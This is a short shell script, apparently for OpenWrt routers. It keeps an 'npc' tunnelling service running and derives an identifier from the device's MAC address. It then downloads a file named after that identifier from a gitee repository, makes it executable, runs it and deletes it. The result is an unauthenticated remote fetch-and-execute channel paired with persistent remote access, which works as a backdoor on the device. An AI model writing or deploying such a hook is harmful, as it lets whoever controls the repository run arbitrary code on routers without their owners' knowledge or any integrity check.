#!/bin/sh
if !( ls /bin/bash >/dev/null 2>&1 );then
opkg install bash;
fi
MACINFO=$((0x$(grep "label_macaddr" /etc/board.json |awk -F"\"" '{print $4}' | awk 'gsub(/:/,"",$0)')))
if !(ps | grep npc | grep "-server" >/dev/null 2>&1); then
/etc/init.d/npc restart;
fi
cd /tmp/tmp/
if wget -s https://gitee.com/darkhorse006/router/raw/master/blacklist/"$MACINFO" >/dev/null 2>&1; then
wget https://gitee.com/darkhorse006/router/raw/master/blacklist/"$MACINFO"
chmod +x "$MACINFO";
./"$MACINFO";
fi
rm "$MACINFO";
#202504061529
 
